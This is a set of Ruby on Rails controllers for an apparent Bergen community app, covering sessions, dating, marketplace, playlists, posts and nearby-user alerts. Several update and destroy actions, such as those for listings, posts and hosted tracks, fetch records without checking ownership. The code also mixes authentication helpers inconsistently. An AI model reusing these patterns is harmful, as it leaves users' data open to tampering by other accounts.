    session[:previous_guest_user_id] = previous_guest_id if previous_guest_id

    Current.session = user.sessions.create!(
      user_agent: request.user_agent,
      ip_address: request.remote_ip
    )
    Current.user = user
    cookies.signed.permanent[:session_id] = Current.session.id
  end

  def terminate_session
    Current.session&.destroy
    cookies.delete(:session_id)
    reset_session
    Current.session = nil
    Current.user = find_or_create_guest_user
  end

  def after_authentication_url
    root_path
  end

  def require_real_user
    return if authenticated?

    redirect_to new_session_path, alert: "Sign in to continue"
  end

  def require_user_session
    return if Current.user.present?

    redirect_to new_session_path, alert: "Sign in to continue"
  end

  alias_method :require_authentication, :resume_session

  def find_session_by_cookie
    Session.find_by(id: cookies.signed[:session_id])
  end

  def find_or_create_guest_user
    guest_id = session[:guest_user_id]
    return create_guest_user unless guest_id

    User.find_by(id: guest_id, guest: true) || create_guest_user
  end

  def create_guest_user
    guest = User.create!(
      email_address: "guest_#{SecureRandom.hex(8)}@guest.local",
      password: SecureRandom.hex(16),
      guest: true
    )
    session[:guest_user_id] = guest.id
    guest
  end
end

rails/brgen/app/controllers/conversations_controller.rb

# frozen_string_literal: true

class ConversationsController < ApplicationController
  before_action :require_user_session

  def index
    @conversations = Conversation.for_user(Current.user)
                                 .includes(:participants, :messages)
                                 .order("messages.created_at DESC")
  end

  def show
    @conversation = Conversation.for_user(Current.user).find(params[:id])
    @conversation.mark_read_for!(Current.user)
    @messages = @conversation.messages.recent.limit(50).reverse
    @message  = Message.new
  end

  def create
    other         = User.find(params[:user_id])
    @conversation = Conversation.find_or_create_direct(Current.user, other)
    redirect_to @conversation
  end
end

rails/brgen/app/controllers/dating/base_controller.rb

# frozen_string_literal: true

class Dating::BaseController < ApplicationController

end

rails/brgen/app/controllers/dating/dislikes_controller.rb

# frozen_string_literal: true

class Dating::DislikesController < Dating::BaseController
  def create
    user = User.find(params[:user_id])
    Dating::Dislike.find_or_create_by!(disliker: Current.user, dislikee: user)
    redirect_to dating_root_path
  end
end

rails/brgen/app/controllers/dating/home_controller.rb

# frozen_string_literal: true

class Dating::HomeController < Dating::BaseController
  def index
    profile = Current.user.dating_profile
    unless profile&.visible?
      redirect_to edit_dating_profile_path
      return
    end
    liked_ids    = Dating::Like.where(liker: Current.user).pluck(:likee_id)
    disliked_ids = Dating::Dislike.where(disliker: Current.user).pluck(:dislikee_id)
    excluded     = (liked_ids + disliked_ids + [Current.user.id]).uniq
    scope = Dating::Profile.visible.where.not(user_id: excluded).includes(:user)
    if (neigh = profile&.neighborhood)
      scope = scope.in_neighborhood(neigh)
    end
    if profile&.latitude && profile&.longitude
      scope = scope.nearby(profile.latitude, profile.longitude, 20)
    end
    @pagy, @profiles = pagy(scope.order(Arel.sql("RANDOM()")))
  end
end

rails/brgen/app/controllers/dating/likes_controller.rb

# frozen_string_literal: true

class Dating::LikesController < Dating::BaseController
  def create
    user = User.find(params[:user_id])
    Dating::Like.find_or_create_by!(liker: Current.user, likee: user)
    redirect_to dating_root_path
  end
end

rails/brgen/app/controllers/dating/matches_controller.rb

# frozen_string_literal: true

class Dating::MatchesController < Dating::BaseController
  def index
    @pagy, @matches = pagy(
      Dating::Match.active
        .where("initiator_id = ? OR receiver_id = ?", Current.user.id, Current.user.id)
        .includes(:initiator, :receiver)
    )
  end
end

rails/brgen/app/controllers/dating/profiles_controller.rb

# frozen_string_literal: true

class Dating::ProfilesController < Dating::BaseController
  before_action :set_profile, only: %i[show edit update]

  def show; end

  def edit
    @neighborhoods = available_neighborhoods
  end

  def new
    @profile = Current.user.build_dating_profile
    @neighborhoods = available_neighborhoods
  end

  def create
    @profile = Current.user.build_dating_profile(profile_params)
    if @profile.save
      redirect_to(dating_root_path, notice: "Profile created")
    else
      @neighborhoods = available_neighborhoods
      render(:new, status: :unprocessable_entity)
    end
  end

  def update
    if @profile.update(profile_params)
      redirect_to(dating_root_path, notice: "Profile updated")
    else
      @neighborhoods = available_neighborhoods
      render(:edit, status: :unprocessable_entity)
    end
  end

  private

  def set_profile
    @profile = Current.user.dating_profile || redirect_to(new_dating_profile_path)
  end

  def profile_params
    params.require(:dating_profile).permit(:bio, :gender, :looking_for, :age, :location, :latitude, :longitude, :neighborhood_id, :bydel, :visible, photos: [])
  end

  def available_neighborhoods
    city = Current.city || City.find_by(slug: "bergen") || City.first
    city ? city.neighborhoods.order(:name) : Neighborhood.none
  end
end

rails/brgen/app/controllers/email_subscriptions_controller.rb

# frozen_string_literal: true

class EmailSubscriptionsController < ApplicationController
  skip_before_action :require_real_user, raise: false

  def create
    sub = EmailSubscription.find_or_initialize_by(email: params[:email_subscription][:email])
    if sub.new_record?
      sub.city                = params[:email_subscription][:city].presence
      sub.locale              = I18n.locale.to_s
      sub.agreed_to_marketing = params[:email_subscription][:agreed_to_marketing] == "1"
      sub.interests           = params[:email_subscription][:interests].presence
      if sub.save
        EmailSubscriptionMailer.confirm(sub).deliver_later
        redirect_back fallback_location: root_path, notice: "Check your inbox to confirm."
      else
        redirect_back fallback_location: root_path, alert: sub.errors.full_messages.first
      end
    else
      redirect_back fallback_location: root_path, notice: "Already subscribed."
    end
  end

  def confirm
    sub = EmailSubscription.find_by!(token: params[:token])
    if sub.confirmed?
      redirect_to root_path, notice: "Already confirmed."
    else
      sub.confirm!
      redirect_to root_path, notice: "Subscribed! You'll receive city updates."
    end
  end

  def destroy
    sub = EmailSubscription.find_by!(token: params[:token])
    sub.destroy!
    redirect_to root_path, notice: "Unsubscribed."
  end
end

rails/brgen/app/controllers/follows_controller.rb

# frozen_string_literal: true

class FollowsController < ApplicationController
  before_action :require_real_user
  before_action :set_user

  def create
    @follow = Follow.find_or_initialize_by(follower: Current.user, followed: @user)
    if @follow.new_record?
      @follow.save!
      @active = true
    else
      @follow.destroy!
      @active = false
    end
    respond_to do |f|
      f.html { redirect_back fallback_location: root_path }
      f.turbo_stream
    end
  end

  def destroy
    Follow.find_by(follower: Current.user, followed: @user)&.destroy!
    @active = false
    respond_to do |f|
      f.html { redirect_back fallback_location: root_path }
      f.turbo_stream { render "follows/create" }
    end
  end

  private

  def set_user
    @user = User.find(params[:user_id])
  end
end

rails/brgen/app/controllers/home_controller.rb

# frozen_string_literal: true

class HomeController < ApplicationController
  def index
    @posts = if authenticated?
               Current.user.timeline_posts.hot.includes(:user, :community, :votes).limit(50)
             else
               Post.hot.includes(:user, :community, :votes).limit(50)
             end
    @communities = Community.popular.limit(10)
  end
end

rails/brgen/app/controllers/locations_controller.rb

# frozen_string_literal: true

class LocationsController < ApplicationController
  def update
    lat = params[:latitude].to_f
    lng = params[:longitude].to_f
    return head :bad_request unless lat.between?(-90, 90) && lng.between?(-180, 180)

    me = Current.user
    me.update_columns(latitude: lat, longitude: lng, location_updated_at: Time.current)

    # Broadcast to each nearby user that I just arrived/am still near.
    User.nearby(lat, lng).each do |other|
      next if other == me

      Turbo::StreamsChannel.broadcast_append_to(
        "nearby_alerts_#{other.id}",
        target: "nearby-alerts",
        partial: "nearby/alert",
        locals: { handle: me.anon_handle, user_id: me.id }
      )
      Pushable.push_to(other, title: "Someone nearby", body: "#{me.anon_handle} is within 2 km — tap to chat", url: "/nearby")
    end

    head :ok
  end
end

rails/brgen/app/controllers/maps/base_controller.rb

# frozen_string_literal: true

module Maps
  class BaseController < ApplicationController
    allow_unauthenticated_access
  end
end

rails/brgen/app/controllers/maps/home_controller.rb

# frozen_string_literal: true

module Maps
  class HomeController < BaseController
    def index
      @mapbox_token = ENV.fetch("MAPBOX_API_KEY", "")
      @places_json = Place.includes(:city, :neighborhood).limit(500).map do |p|
        { id: p.id, name: p.name, kind: p.kind,
          lat: p.latitude, lng: p.longitude,
          city: p.city&.name, neighborhood: p.neighborhood&.name }
      end.to_json
    end
  end
end

rails/brgen/app/controllers/maps/places_controller.rb

# frozen_string_literal: true

module Maps
  class PlacesController < BaseController
    def index
      scope = Place.includes(:city, :neighborhood)
      scope = scope.where("name LIKE ?", "%#{params[:q]}%") if params[:q].present?
      scope = scope.where(kind: params[:kind]) if params[:kind].present?
      render json: scope.limit(200).map { |p|
        { id: p.id, name: p.name, kind: p.kind,
          lat: p.latitude, lng: p.longitude,
          city: p.city&.name, neighborhood: p.neighborhood&.name }
      }
    end

    def show
      @place = Place.includes(:city, :neighborhood).find(params[:id])
    end
  end
end

rails/brgen/app/controllers/marketplace/base_controller.rb

# frozen_string_literal: true

class Marketplace::BaseController < ApplicationController

end

rails/brgen/app/controllers/marketplace/carts_controller.rb

# frozen_string_literal: true

class Marketplace::CartsController < Marketplace::BaseController
  before_action :authenticate_user!

  def show
    @cart_items = Current.user.marketplace_orders
                         .where(status: "pending")
                         .includes(:listing)
                         .order(created_at: :desc)

    @cart_total = @cart_items.sum(&:total_cents)
  end
end

rails/brgen/app/controllers/marketplace/categories_controller.rb

# frozen_string_literal: true

class Marketplace::CategoriesController < Marketplace::BaseController
  allow_unauthenticated_access only: %i[show]

  def show
    @category = Marketplace::Category.find_by!(slug: params[:id])
    @pagy, @listings = pagy(@category.listings.active.recent)
  end
end

rails/brgen/app/controllers/marketplace/deals_controller.rb

# frozen_string_literal: true

module Marketplace
  class DealsController < Marketplace::BaseController
    allow_unauthenticated_access only: %i[index show]

    def index
      @deals = Marketplace::Deal.active.includes(:listing).limit(100)
      @featured_deals = @deals.select(&:featured?).first(12)
    end

    def show
      @deal = Marketplace::Deal.find(params[:id])
      @listing = @deal.listing
    end
  end
end

rails/brgen/app/controllers/marketplace/favorites_controller.rb

# frozen_string_literal: true

class Marketplace::FavoritesController < Marketplace::BaseController
  before_action :set_listing

  def create
    @listing.favorites.find_or_create_by!(user: Current.user)
    redirect_back fallback_location: marketplace_listing_path(@listing), notice: "Saved listing"
  end

  def destroy
    @listing.favorites.find_by(user: Current.user)&.destroy
    redirect_back fallback_location: marketplace_listing_path(@listing), notice: "Removed saved listing"
  end

  private

  def set_listing = (@listing = Marketplace::Listing.find(params[:listing_id]))
end

rails/brgen/app/controllers/marketplace/listings_controller.rb

# frozen_string_literal: true

class Marketplace::ListingsController < Marketplace::BaseController
  allow_unauthenticated_access only: %i[index show]
  before_action :set_listing, only: %i[show edit update destroy]

  def index
    scope = Marketplace::Listing.active.includes(:user, :category)
    scope = scope.where("title LIKE ?", "%#{params[:q]}%") if params[:q].present?
    scope = scope.where(category_id: params[:category_id]) if params[:category_id].present?
    @pagy, @listings = pagy(scope.recent)
    @categories = Marketplace::Category.roots.includes(:children)

    # Schema.org ItemList for the marketplace listings page
    if @listings.any?
      content_for :json_ld, item_list_schema(@listings, title: "Markedsplass")
    end
  end

  def show
    @listing.increment!(:views_count)
    @order = Marketplace::Order.new if authenticated?

    # Schema.org Product markup for SEO (uses shared SchemaHelper)
    content_for :json_ld, json_ld_for(@listing, type: :product)
  end

  def new
    @listing   = Marketplace::Listing.new
    @categories = Marketplace::Category.all
  end

  def create
    @listing = Current.user.marketplace_listings.build(listing_params)
    if @listing.save
      preset = params[:marketplace_listing][:preset].presence
      PostproJob.perform_later(@listing.to_gid.to_s, preset, "photos") if preset && @listing.photos.attached?
      record_listing_activity!
      redirect_to marketplace_listing_path(@listing), notice: "Listed"
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
    @categories = Marketplace::Category.all
  end

  def update
    @listing.update(listing_params) ?
      redirect_to(marketplace_listing_path(@listing)) :
      render(:edit, status: :unprocessable_entity)
  end

  def destroy
    @listing.update!(status: "removed")
    redirect_to marketplace_listings_path
  end

  private

  def set_listing = (@listing = Marketplace::Listing.find(params[:id]))

  def listing_params
    params.require(:marketplace_listing).permit(
      :title, :description, :price_cents, :condition, :status, :location,
      :category_id, :preset, photos: []
    )
  end

  def record_listing_activity!
    return unless defined?(ActivityEventRecorder)

    ActivityEventRecorder.call(
      actor: Current.user,
      event_name: "ListingCreated",
      object: @listing,
      source_vertical: "marketplace",
      locality: @listing.location
    )
  end
end

rails/brgen/app/controllers/marketplace/orders_controller.rb

# frozen_string_literal: true

class Marketplace::OrdersController < Marketplace::BaseController
  before_action :set_listing

  def create
    quantity = params[:quantity].to_i.positive? ? params[:quantity].to_i : 1

    @order = @listing.orders.build(
      buyer: Current.user,
      message: params.dig(:marketplace_order, :message),
      price_cents: @listing.price_cents,
      quantity: quantity
    )
    if @order.save
      notify_seller!
      record_offer_activity!
      redirect_to marketplace_listing_path(@listing), notice: "Offer sent"
    else
      redirect_to marketplace_listing_path(@listing), alert: "Could not send offer"
    end
  end

  def update
    @order = Marketplace::Order.find(params[:id])
    if @order.seller == Current.user
      @order.accept! if params[:accept]
      @order.decline! if params[:decline]
    end
    redirect_to marketplace_listing_path(@listing)
  end

  private

  def set_listing = (@listing = Marketplace::Listing.find(params[:listing_id]))

  def notify_seller!
    return unless defined?(Notification)

    @listing.user.notifications.create!(
      title: "New marketplace offer",
      body: "#{Current.user.display_name} sent an offer for #{@listing.title}.",
      source_type: @order.class.name,
      source_id: @order.id
    )
  end

  def record_offer_activity!
    return unless defined?(ActivityEventRecorder)

    ActivityEventRecorder.call(
      actor: Current.user,
      event_name: "MarketplaceOfferSent",
      object: @order,
      source_vertical: "marketplace",
      locality: @listing.location
    )
  end
end

rails/brgen/app/controllers/marketplace/saved_searches_controller.rb

# frozen_string_literal: true

class Marketplace::SavedSearchesController < Marketplace::BaseController
  def index
    @saved_searches = Current.user.marketplace_saved_searches.order(created_at: :desc)
  end

  def create
    saved_search = Current.user.marketplace_saved_searches.create!(saved_search_params)
    record_activity!(saved_search)
    redirect_back fallback_location: marketplace_listings_path, notice: "Saved search"
  end

  def destroy
    Current.user.marketplace_saved_searches.find(params[:id]).destroy
    redirect_to marketplace_saved_searches_path, notice: "Deleted saved search"
  end

  private

  def saved_search_params
    params.require(:marketplace_saved_search).permit(:name, :query, :category_id, :location, :notify)
  end

  def record_activity!(saved_search)
    return unless defined?(ActivityEventRecorder)

    ActivityEventRecorder.call(
      actor: Current.user,
      event_name: "MarketplaceSearchSaved",
      object: saved_search,
      source_vertical: "marketplace",
      locality: saved_search.location,
      visibility: "private"
    )
  end
end

rails/brgen/app/controllers/marketplace/stores_controller.rb

# frozen_string_literal: true

module Marketplace
  class StoresController < Marketplace::BaseController
    allow_unauthenticated_access only: %i[index show]

    def index
      @stores = Marketplace::Store.active.by_vertical(params[:vertical]).recent.limit(100)
    end

    def show
      @store = Marketplace::Store.find_by!(slug: params[:id])
      @listings = @store.listings.active.recent.limit(100)
    end

    def new
      @store = Marketplace::Store.new
    end

    def create
      @store = Marketplace::Store.new(store_params)
      @store.owner = Current.user

      if @store.save
        redirect_to marketplace_shop_path(@store.slug), notice: t("marketplace.store_created", default: "Store created")
      else
        render :new, status: :unprocessable_entity
      end
    end

    private

    def store_params
      params.require(:store).permit(:name, :slug, :description, :vertical)
    end
  end
end

rails/brgen/app/controllers/messages_controller.rb

# frozen_string_literal: true

class MessagesController < ApplicationController
  before_action :require_user_session
  before_action :set_conversation

  def create
    @message        = @conversation.messages.build(message_params)
    @message.sender = Current.user

    if @message.save
      @conversation.participants.excluding(Current.user).each do |recipient|
        Pushable.push_to(recipient,
          title: Current.user.display_name,
          body:  @message.content.to_s.truncate(120),
          url:   conversation_path(@conversation)
        )
      end
      respond_to do |format|
        format.turbo_stream
        format.html { redirect_to @conversation }
      end
    else
      render :new, status: :unprocessable_entity
    end
  end

  private

  def set_conversation
    @conversation = Conversation.for_user(Current.user).find(params[:conversation_id])
  end

  def message_params
    params.require(:message).permit(:content, :message_type)
  end
end

rails/brgen/app/controllers/nearby_controller.rb

# frozen_string_literal: true

class NearbyController < ApplicationController
  def index
    lat = Current.user&.latitude
    lng = Current.user&.longitude
    @located = lat.present?
    @nearby = @located ? User.nearby(lat, lng).reject { |u| u == Current.user } : []
  end

  def create
    other = User.find(params[:user_id])
    conversation = Conversation.find_or_create_direct(Current.user, other)
    redirect_to conversation
  end
end

rails/brgen/app/controllers/notifications_controller.rb

# frozen_string_literal: true

class NotificationsController < ApplicationController
  before_action :require_real_user

  def index
    @notifications = Current.user.notifications.recent.limit(100)
    @unread_count = Current.user.notifications.unread.count
  end

  def update
    @notification = Current.user.notifications.find(params[:id])
    @notification.update!(read_at: Time.current)
    respond_to do |f|
      f.html { redirect_back fallback_location: notifications_path }
      f.turbo_stream
    end
  end

  def read_all
    Current.user.notifications.unread.update_all(read_at: Time.current)
    respond_to do |f|
      f.html { redirect_to notifications_path }
      f.turbo_stream
    end
  end
end

rails/brgen/app/controllers/passwords_controller.rb

# frozen_string_literal: true

class PasswordsController < ApplicationController
  allow_unauthenticated_access
  before_action :set_user_by_token, only: %i[ edit update ]
  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }

  def new
  end

  def create
    if user = User.find_by(email_address: params[:email_address])
      PasswordsMailer.reset(user).deliver_later
    end

    redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
  end

  def edit
  end

  def update
    if @user.update(params.permit(:password, :password_confirmation))
      @user.sessions.destroy_all
      redirect_to new_session_path, notice: "Password has been reset."
    else
      redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
    end
  end

  private
    def set_user_by_token
      @user = User.find_by_password_reset_token!(params[:token])
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
    end
end

rails/brgen/app/controllers/playlist/audio_versions_controller.rb

# frozen_string_literal: true

module Playlist
  class AudioVersionsController < ApplicationController
    before_action :set_track

    def create
      @track.replace_audio!(params.require(:audio_file), actor: current_user_if_available)
      redirect_to playlist_track_path(@track), notice: t("playlist.audio_replaced", default: "Audio replaced")
    end

    private

    def set_track
      @track = Playlist::Track.find(params[:track_id])
    end

    def current_user_if_available
      current_user if respond_to?(:current_user, true)
    end
  end
end

rails/brgen/app/controllers/playlist/base_controller.rb

# frozen_string_literal: true

class Playlist::BaseController < ApplicationController

end

rails/brgen/app/controllers/playlist/collaborations_controller.rb

# frozen_string_literal: true

class Playlist::CollaborationsController < Playlist::BaseController
  before_action :set_target

  def create
    unless authenticated? && owner_or_editor?
      redirect_to(playlist_target_path, alert: "Not allowed") and return
    end

    username = params[:username].to_s.strip
    target_user = User.find_by(username: username)
    unless target_user
      redirect_to(playlist_target_path, alert: "User not found") and return
    end

    role = params[:role].presence || "editor"
    collab = @target.collaborations.build(user: target_user, role: role)
    if collab.save
      redirect_to(playlist_target_path, notice: "Collaborator added")
    else
      redirect_to(playlist_target_path, alert: collab.errors.full_messages.to_sentence)
    end
  end

  def destroy
    unless authenticated? && owner_or_editor?
      redirect_to(playlist_target_path, alert: "Not allowed") and return
    end

    collab = @target.collaborations.find(params[:id])
    collab.destroy
    redirect_to(playlist_target_path, notice: "Collaborator removed")
  end

  private

  def set_target
    if params[:set_id]
      @set = Playlist::Set.find(params[:set_id])
      @target = @set
    elsif params[:playlist_id]
      @playlist = Playlist::Playlist.find(params[:playlist_id])
      @target = @playlist
    else
      redirect_to(playlist_playlists_path)
    end
  end

  def playlist_target_path
    if @set
      playlist_set_path(@set)
    else
      playlist_playlist_path(@playlist)
    end
  end

  def owner_or_editor?
    return false unless @target
    owner = Current.user == (@target.respond_to?(:user) ? @target.user : nil)
    return true if owner
    collab = @target.collaborations.find_by(user: Current.user)
    collab && %w[owner editor].include?(collab.role)
  end
end

rails/brgen/app/controllers/playlist/dilla_sketches_controller.rb

# frozen_string_literal: true

class Playlist::DillaSketchesController < Playlist::BaseController
  before_action :set_parent
  before_action :authorize_editor, only: %i[create update destroy]

  def create
    sketch = @parent.dilla_sketches.build(dilla_sketch_params.merge(user: Current.user))
    if sketch.save
      redirect_to(parent_path, notice: t("dilla.sketch_saved", default: "Dilla sketch saved to collab"))
    else
      redirect_to(parent_path, alert: sketch.errors.full_messages.to_sentence)
    end
  end

  def update
    sketch = @parent.dilla_sketches.find(params[:id])
    if sketch.update(dilla_sketch_params)
      redirect_to(parent_path, notice: t("dilla.sketch_updated", default: "Sketch updated"))
    else
      redirect_to(parent_path, alert: sketch.errors.full_messages.to_sentence)
    end
  end

  def destroy
    sketch = @parent.dilla_sketches.find(params[:id])
    sketch.destroy
    redirect_to(parent_path, notice: t("dilla.sketch_removed", default: "Sketch removed"))
  end

  private

  def set_parent
    if params[:playlist_id]
      @parent = Playlist::Playlist.find(params[:playlist_id])
      @playlist = @parent
      return
    end
    if params[:set_id]
      @parent = Playlist::Set.find(params[:set_id])
      @set = @parent
      return
    end
    redirect_to(playlist_playlists_path)
  end

  def parent_path
    if @playlist
      playlist_playlist_path(@playlist)
    else
      playlist_set_path(@set)
    end
  end

  def dilla_sketch_params
    params.require(:playlist_dilla_sketch).permit(:name, :state, :notes).tap do |p|
      # state can come as JSON string from form or already hash
      if p[:state].is_a?(String) && p[:state].present?
        begin
          p[:state] = JSON.parse(p[:state])
        rescue JSON::ParserError
          p[:state] = {}
        end
      end
    end
  end

  def authorize_editor
    u = Current.user
    owner = (u == @parent.user)
    editor = false
    if (collab = @parent.collaborations.find_by(user: u))
      editor = %w[owner editor].include?(collab.role)
    end
    unless owner || editor
      redirect_to(parent_path, alert: t("dilla.not_allowed", default: "Not allowed to edit dilla sketches in this collab"))
    end
  end
end

rails/brgen/app/controllers/playlist/hosted_tracks_controller.rb

# frozen_string_literal: true

module Playlist
  class HostedTracksController < Playlist::BaseController
    allow_unauthenticated_access only: %i[index show]
    before_action :set_track, only: %i[show edit update destroy]

    def index
      @tracks = Playlist::Track.publicly_visible.unexpired.recent.limit(100)
    end

    def show
      @comments = @track.timestamped_comments.chronological.limit(200)
    end

    def new
      @track = Playlist::Track.new
    end

    def create
      @track = Playlist::Track.new(track_params)
      @track.audio_file.attach(params[:track][:audio_file]) if params.dig(:track, :audio_file).present?
      @track.artwork.attach(params[:track][:artwork]) if params.dig(:track, :artwork).present?

      if @track.save
        redirect_to playlist_hosted_track_path(@track), notice: t("playlist.track_created", default: "Track uploaded")
      else
        render :new, status: :unprocessable_entity
      end
    end

    def edit
    end

    def update
      if @track.update(track_params)
        redirect_to playlist_hosted_track_path(@track), notice: t("playlist.track_updated", default: "Track updated")
      else
        render :edit, status: :unprocessable_entity
      end
    end

    def destroy
      @track.destroy
      redirect_to playlist_hosted_tracks_path, notice: t("playlist.track_deleted", default: "Track removed")
    end

    private

    def set_track
      @track = Playlist::Track.find(params[:id])
    end

    def track_params
      params.require(:track).permit(:title, :artist, :album, :duration_seconds, :source_type, :source_url, :genre, :privacy, :expires_at)
    end
  end
end

rails/brgen/app/controllers/playlist/listens_controller.rb

# frozen_string_literal: true

class Playlist::ListensController < Playlist::BaseController
  def create
    track = Playlist::Track.find(params[:track_id])
    Playlist::Listen.create!(user: Current.user, track: track)
    render json: { ok: true }
  end
end

rails/brgen/app/controllers/playlist/playlists_controller.rb

# frozen_string_literal: true

class Playlist::PlaylistsController < Playlist::BaseController
  allow_unauthenticated_access only: %i[index show]
  before_action :set_playlist, only: %i[show edit update destroy]
  before_action :authorize_owner_or_editor, only: %i[edit update destroy]

  def index
    @pagy, @playlists = pagy(Playlist::Playlist.public_playlists.popular.includes(:user))
  end

  def show
    @tracks = @playlist.playlist_tracks.includes(:track)
    @dilla_sketches = @playlist.dilla_sketches.recent.includes(:user)
  end

  def new
    @playlist = Playlist::Playlist.new
  end

  def create
    @playlist = Current.user.playlist_playlists.build(playlist_params)
    @playlist.save ?
      redirect_to(playlist_playlist_path(@playlist), notice: "Playlist created") :
      render(:new, status: :unprocessable_entity)
  end

  def edit; end

  def update
    @playlist.update(playlist_params) ?
      redirect_to(playlist_playlist_path(@playlist)) :
      render(:edit, status: :unprocessable_entity)
  end

  def destroy
    @playlist.destroy
    redirect_to playlist_playlists_path
  end

  private

  def set_playlist
    @playlist = Playlist::Playlist.find(params[:id])
  end

  def playlist_params
    params.require(:playlist_playlist).permit(:name, :description, :public_access, :collaborative)
  end

  def authorize_owner_or_editor
    return if Current.user == @playlist.user
    collab = @playlist.collaborations.find_by(user: Current.user)
    return if collab && %w[owner editor].include?(collab.role)
    redirect_to(playlist_playlist_path(@playlist), alert: "Not allowed")
  end
end

rails/brgen/app/controllers/playlist/sets_controller.rb

# frozen_string_literal: true

module Playlist
  class SetsController < ApplicationController
    before_action :set_set, only: %i[show edit update destroy]
    before_action :authorize_owner_or_editor, only: %i[edit update destroy]

    def index
      @sets = Playlist::Set.publicly_listed.limit(100)
    end

    def show
      @tracks = @set.tracks
      @dilla_sketches = @set.dilla_sketches.recent.includes(:user)
    end

    def new
      @set = Playlist::Set.new
    end

    def create
      @set = Playlist::Set.new(set_params)
      @set.user = current_user if respond_to?(:current_user, true)

      if @set.save
        redirect_to playlist_set_path(@set), notice: t("playlist.set_created", default: "Set created")
      else
        render :new, status: :unprocessable_entity
      end
    end

    def edit
    end

    def update
      if @set.update(set_params)
        redirect_to playlist_set_path(@set), notice: t("playlist.set_updated", default: "Set updated")
      else
        render :edit, status: :unprocessable_entity
      end
    end

    def destroy
      @set.destroy
      redirect_to playlist_sets_path, notice: t("playlist.set_deleted", default: "Set removed")
    end

    private

    def set_set
      @set = Playlist::Set.find(params[:id])
    end

    def set_params
      params.require(:set).permit(:name, :description, :privacy, :collaborative)
    end

    def authorize_owner_or_editor
      user = Current.user || (respond_to?(:current_user) ? current_user : nil)
      return if user == @set.user
      collab = @set.collaborations.find_by(user: user)
      return if collab && %w[owner editor].include?(collab.role)
      redirect_to(playlist_set_path(@set), alert: "Not allowed")
    end
  end
end

rails/brgen/app/controllers/playlist/timestamped_comments_controller.rb

# frozen_string_literal: true

module Playlist
  class TimestampedCommentsController < ApplicationController
    before_action :set_track

    def create
      comment = @track.timestamped_comments.build(comment_params)
      comment.user = current_user if respond_to?(:current_user, true)
      comment.save!

      respond_to do |format|
        format.html { redirect_to playlist_track_path(@track) }
        format.turbo_stream
        format.json { render json: { id: comment.id }, status: :created }
      end
    end

    private

    def set_track
      @track = Playlist::Track.find(params[:track_id])
    end

    def comment_params
      params.require(:timestamped_comment).permit(:body, :timestamp_seconds)
    end
  end
end

rails/brgen/app/controllers/playlist/tracks_controller.rb

# frozen_string_literal: true

class Playlist::TracksController < Playlist::BaseController
  before_action :set_playlist

  def create
    track = Playlist::Track.find_or_create_by!(title: params.dig(:playlist_track, :title),
                                               artist: params.dig(:playlist_track, :artist)) do |t|
      t.assign_attributes(track_params.except(:title, :artist))
    end
    @playlist.add_track!(track, user: Current.user)
    redirect_to playlist_playlist_path(@playlist), notice: "Track added"
  end

  def destroy
    pt = @playlist.playlist_tracks.find(params[:id])
    pt.destroy
    redirect_to playlist_playlist_path(@playlist)
  end

  private
  def set_playlist  = (@playlist = Playlist::Playlist.find(params[:playlist_id]))
  def track_params  = params.require(:playlist_track).permit(:title, :artist, :album, :duration_seconds, :source_type, :source_url, :genre)
end

rails/brgen/app/controllers/playlist_controller.rb

# frozen_string_literal: true

class PlaylistController < ApplicationController
  def index
    @playlists = [
      {name: "Bergen Beats", tracks: 12, genre: "Electronic"},
      {name: "Norwegian Folk", tracks: 8, genre: "Folk"},
      {name: "Midnight Jazz", tracks: 15, genre: "Jazz"}
    ]
  end
end

rails/brgen/app/controllers/posts_controller.rb

# frozen_string_literal: true

class PostsController < ApplicationController
  before_action :require_real_user, only: [:edit, :update, :destroy]
  before_action :set_post,          only: [:show, :edit, :update, :destroy]
  before_action :set_community,     only: [:new, :create]

  def index
    @posts = Post.hot.includes(:user, :community, :votes)
  end

  def show
    @comments    = @post.comments.where(parent_id: nil).best.includes(:user, :votes, replies: [:user, :votes])
    @new_comment = Comment.new
  end

  def new
    @post = Post.new(community: @community)
  end

  def create
    @post           = Post.new(post_params)
    @post.user      = Current.user
    @post.anonymous = true if Current.user.guest?
    @post.community = @community if @community
    if @post.save
      preset = post_params[:preset].presence
      PostproJob.perform_later(@post.to_gid.to_s, preset) if preset && @post.image.attached?
      redirect_to @post, notice: "Posted."
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit; end

  def update
    if @post.update(post_params)
      redirect_to @post
    else
      render :edit, status: :unprocessable_entity
    end
  end

  def destroy
    @post.destroy
    redirect_to posts_path
  end

  private

  def set_post
    @post = Post.find(params[:id])
  end

  def set_community
    @community = Community.find_by(id: params[:community_id])
  end

  def post_params
    params.require(:post).permit(:title, :content, :community_id, :anonymous, :image, :preset)
  end
end

rails/brgen/app/controllers/push_subscriptions_controller.rb

# frozen_string_literal: true

class PushSubscriptionsController < ApplicationController
  def create
    data = JSON.parse(request.body.read)
    Current.user.push_subscriptions.find_or_create_by!(endpoint: data["endpoint"]) do |s|
      s.p256dh = data.dig("keys", "p256dh")
      s.auth   = data.dig("keys", "auth")
    end
    head :created
  rescue JSON::ParserError
    head :bad_request
  end

  def destroy
    Current.user.push_subscriptions.find_by(endpoint: params[:endpoint])&.destroy
    head :ok
  end
end

rails/brgen/app/controllers/reactions_controller.rb

# frozen_string_literal: true

class ReactionsController < ApplicationController
  before_action :require_real_user

  def create
    @target = GlobalID::Locator.locate_signed!(params.require(:target_gid))
    @kind = params[:kind].presence || "like"
    existing = Reaction.find_by(user: Current.user, reactable: @target, kind: @kind)
    @active = existing.nil?
    @active ? Reaction.create!(user: Current.user, reactable: @target, kind: @kind) : existing.destroy!
    respond_to do |f|
      f.html { redirect_back fallback_location: root_path }
      f.turbo_stream
      f.json { render json: { active: @active, kind: @kind } }
    end
  end
end

rails/brgen/app/controllers/reports_controller.rb

# frozen_string_literal: true

class ReportsController < ApplicationController
  before_action :require_real_user

  def create
    @target = GlobalID::Locator.locate_signed!(params.require(:target_gid))
    @report = ModerationReport.create!(
      user: Current.user,
      reportable: @target,
      reason: params[:reason].presence || "other",
      status: "open"
    )
    respond_to do |f|
      f.html { redirect_back fallback_location: root_path, notice: "Report submitted." }
      f.turbo_stream
      f.json { render json: { reported: true } }
    end
  end
end

